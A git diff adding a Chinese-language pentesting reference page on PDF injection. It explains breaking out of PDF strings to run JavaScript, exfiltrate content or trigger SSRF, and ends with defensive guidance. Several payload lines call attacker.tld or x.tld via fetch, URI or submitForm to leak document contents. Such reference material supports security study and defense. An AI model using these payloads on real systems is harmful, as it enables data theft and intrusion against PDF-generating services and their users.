diff --git a/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md b/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md index 455763911..29a2157e7 100644 --- a/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md +++ b/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md @@ -1,7 +1,55 @@ -{{#include ../../banners/hacktricks-training.md}} - -**如果您的输入在 PDF 文件中被反射,您可以尝试注入 PDF 数据以执行 JavaScript 或窃取 PDF 内容。** - -查看帖子: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration) +# PDF 注入 {{#include ../../banners/hacktricks-training.md}} + +**如果您的输入在 PDF 文件中被反射,您可以尝试注入 PDF 数据以执行 JavaScript、执行 SSRF 或窃取 PDF 内容。** +PDF 语法极其宽松——如果您能够跳出嵌入您输入的字符串或字典,您可以附加全新的对象(或同一对象中的新键),Acrobat/Chrome 将乐意解析。 +自 2024 年以来,一波漏洞赏金报告显示 *一个未转义的括号或反斜杠就足够* 进行完整的脚本执行。 + +## TL;DR – 现代攻击工作流程 (2024) +1. 找到任何用户控制的值,该值最终出现在生成的 PDF 中的 **(括号字符串)**、`/URI ( … )` 或 `/JS ( … )` 字段中。 +2. 注入 `) `(关闭字符串),后跟下面的原语之一,并以另一个开括号结束以保持语法有效。 +3. 将恶意 PDF 发送给受害者(或发送给自动渲染文件的后端服务——非常适合盲漏洞)。 +4. 您的有效载荷在 PDF 查看器中运行: +* Chrome / Edge → PDFium 沙箱 +* Firefox → PDF.js(参见 CVE-2024-4367) +* Acrobat → 完整的 JavaScript API(可以使用 `this.getPageNthWord` 导出任意文件内容) + +示例(注释链接劫持): +```pdf +(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next ( +``` +*第一个 `)` 关闭了原始 URI 字符串,然后我们添加一个新的 **Action** 字典,当用户点击链接时,Acrobat 将执行该字典。* + +## 有用的注入原语 +| 目标 | 有效负载片段 | 备注 | +|------|-----------------|-------| +| **打开时执行 JavaScript** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | 文档打开时立即执行(在 Acrobat 中有效,在 Chrome 中无效)。 | +| **链接时执行 JavaScript** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | 如果你控制一个 `/Link` 注释,在 PDFium 和 Acrobat 中有效。 | +| **盲数据外泄** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | 在 JS 中结合 `this.getPageNthWord` 来窃取内容。 | +| **服务器端 SSRF** | 与上述相同,但目标是内部 URL – 当 PDF 被尊重 `/URI` 的后台服务渲染时非常有效。 | +| **新对象的换行符** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | 如果库允许你注入换行符,你可以创建全新的对象。 | + +## 盲枚举技巧 +Gareth Heyes (PortSwigger) 发布了一行代码,可以枚举未知文档中的每个对象 – 当你无法看到生成的 PDF 时非常方便: +```pdf +) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> ( +``` +代码遍历 Acrobat DOM,并对每个属性/值对发出外部请求,为您提供一个 *JSON-ish* 的文件转储。有关完整技术,请参见白皮书“可移植数据 **ex**Filtration”。 + +## 真实世界的漏洞 (2023-2025) +* **CVE-2024-4367** – 在 4.2.67 之前,Firefox 的 PDF.js 中的任意 JavaScript 执行通过精心制作的 `/JavaScript` 操作绕过了沙箱。 +* **漏洞赏金 2024-05** – 主要金融科技公司允许客户提供的发票备注,这些备注落在 `/URI` 中;报告在演示 SSRF 到内部元数据主机使用 `file:///` URI 后支付了 1 万美元。 +* **CVE-2023-26155** – 通过未清理的 PDF 路径进行的 `node-qpdf` 命令注入显示了在 PDF 层之前转义反斜杠和括号的重要性。 + +## 防御备忘单 +1. **切勿在 `(`…`)` 字符串或名称中连接原始用户输入**。根据 PDF 规范第 7.3 节的要求转义 `\`、`(`、`)`,或使用十六进制字符串 `<...>`。 +2. 如果您构建链接,优先使用 `/URI (https://…)`,并对其进行 *完全* URL 编码;在客户端查看器中阻止 `javascript:` 方案。 +3. 在后处理 PDF 时,剥离或验证 `/OpenAction`、`/AA`(附加操作)、`/Launch`、`/SubmitForm` 和 `/ImportData` 字典。 +4. 在服务器端,使用 *无头转换器*(例如 qpdf –decrypt –linearize)呈现不受信任的 PDF,以去除 JavaScript 和外部操作。 +5. 保持 PDF 查看器更新;PDF.js < 4.2.67 和 2024 年 7 月之前的 Acrobat Reader 补丁允许简单的代码执行。 + +## 参考文献 +* Gareth Heyes, “可移植数据 exFiltration – PDF 的 XSS”,PortSwigger Research(更新于 2024 年 5 月)。 +* Dawid Ryłko, “CVE-2024-4367: PDF.js 中的任意 JavaScript 执行”(2024 年 4 月)。 +{{#include ../../banners/hacktricks-training.md}}